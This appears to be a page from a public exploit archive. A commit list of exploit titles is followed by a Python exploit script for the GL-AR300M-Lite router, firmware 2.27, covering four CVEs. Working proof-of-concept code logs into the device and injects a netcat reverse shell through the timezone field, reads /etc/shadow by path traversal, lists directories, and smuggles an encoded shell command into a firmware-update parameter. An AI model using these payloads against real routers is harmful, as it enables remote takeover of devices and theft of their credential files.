fa261f0558
18 changes to exploits/shellcodes Spotify 1.0.96.181 - 'Proxy configuration' Denial of Service (PoC) NTPsec 1.1.2 - 'ctl_getitem' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Out-of-Bounds Read (PoC) NTPsec 1.1.2 - 'ntp_control' Authenticated NULL Pointer Dereference (PoC) NTPsec 1.1.2 - 'config' Authenticated Out-of-Bounds Write Denial of Service (PoC) Google Chrome V8 JavaScript Engine 71.0.3578.98 - Out-of-Memory in Invalid Array Length WebKit JSC JIT - GetIndexedPropertyStorage Use-After-Free Microsoft Windows 10 - 'RestrictedErrorInfo' Unmarshal Section Handle Use-After-Free Microsoft Windows 10 - XmlDocument Insecure Sharing Privilege Escalation blueman - set_dhcp_handler D-Bus Privilege Escalation (Metasploit) FortiGate FortiOS < 6.0.3 - LDAP Credential Disclosure Roxy Fileman 1.4.5 - Arbitrary File Download doorGets CMS 7.0 - Arbitrary File Download ShoreTel / Mitel Connect ONSITE 19.49.5200.0 - Remote Code Execution GL-AR300M-Lite 2.27 - Authenticated Command Injection / Arbitrary File Download / Directory Traversal Coship Wireless Router 4.0.0.48 / 4.0.0.40 / 5.0.0.54 / 5.0.0.55 / 10.0.0.49 - Unauthenticated Admin Password Reset Blueimp's jQuery File Upload 9.22.0 - Arbitrary File Upload Exploit
76 lines
No EOL
3.1 KiB
Text
76 lines
No EOL
3.1 KiB
Text
# Exploit Title: GL-AR300M-Lite Authenticated Command injection - Arbitrary file download - Directory Traversal
|
|
# Date: 15/1/2019
|
|
# Exploit Author: Pasquale Turi aka boombyte
|
|
# Vendor Homepage: https://www.gl-inet.com/
|
|
# Software Link: https://www.gl-inet.com/products/gl-ar300m/
|
|
# Version: Firmware version 2.27
|
|
# CVE : CVE-2019-6272 - CVE-2019-6273 - CVE-2019-6274 - CVE-2019-6275
|
|
|
|
|
|
#CVE-2019-6272 PoC (Command injection):
|
|
|
|
import requests
|
|
|
|
rhost='RHOST'
|
|
lhost='LHOST'
|
|
lport ='LPORT'
|
|
password='PASSWORD'
|
|
r=requests.get('http://'+rhost+'/login.html')
|
|
cookie=r.cookies
|
|
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
|
|
header={'X-CSRF-TOKEN':r2.text[13:45]}
|
|
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
|
|
header={'X-CSRF-TOKEN':r3.text[31:63]}
|
|
r4=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r3.cookies,data={'action':'settimezone','timezone':'`nc '+lhost+' '+lport+' -e /bin/ash`'})
|
|
|
|
|
|
#CVE-2019-6273 (Arbitrary file download) PoC:
|
|
|
|
import requests
|
|
|
|
rhost='RHOST'
|
|
password='PASSWORD'
|
|
file_path='/etc/shadow'
|
|
r=requests.get('http://'+rhost+'/login.html')
|
|
cookie=r.cookies
|
|
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
|
|
header={'X-CSRF-TOKEN':r2.text[13:45]}
|
|
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
|
|
header={'X-CSRF-TOKEN':r3.text[31:63]}
|
|
r4=requests.get('http://'+rhost+'/cgi-bin/download_file?/mnt/..'+file_path,headers=header,cookies=r3.cookies)
|
|
print r4.text
|
|
|
|
|
|
#CVE-2019-6274 (Path Trasversal) PoC:
|
|
|
|
import requests
|
|
|
|
rhost='RHOST'
|
|
password='PASSWORD'
|
|
path='/'
|
|
r=requests.get('http://'+rhost+'/login.html')
|
|
cookie=r.cookies
|
|
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
|
|
header={'X-CSRF-TOKEN':r2.text[13:45]}
|
|
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
|
|
header={'X-CSRF-TOKEN':r3.text[31:63]}
|
|
r4=requests.get('http://'+rhost+'/cgi-bin/storage_cgi?id=2&pwd='+path,headers=header,cookies=r3.cookies)
|
|
print r4.text
|
|
|
|
|
|
#CVE-2019-6275 (Another command injection):
|
|
|
|
import requests
|
|
|
|
rhost='RHOST'
|
|
lhost='LHOST'
|
|
lport ='LPORT'
|
|
password='PASSWORD'
|
|
r=requests.get('http://'+rhost+'/login.html')
|
|
cookie=r.cookies
|
|
r2=requests.get('http://'+rhost+'/cgi-bin/login_cgi?action=checklogin',cookies=cookie)
|
|
header={'X-CSRF-TOKEN':r2.text[13:45]}
|
|
r3=requests.post('http://'+rhost+'/cgi-bin/login_cgi',headers=header,cookies=r2.cookies,data={'action':'login','password':password,'code':''})
|
|
header={'X-CSRF-TOKEN':r3.text[31:63]}
|
|
r4=requests.post('http://'+rhost+'/cgi-bin/firmware_cgi?action=setautoupdate&auto_update=off&update_time=04%3a00%7cecho%20qydre8t159%201%7c%7ca%20%23\'%20%7cecho%20%20%60id%60%7c%7ca%20%23%7c%22%20%7cecho%20a%201%7c%7ca%20%23&_=1547223055153 ',headers=header,cookies=r3.cookies,)
|
|
print r4.text |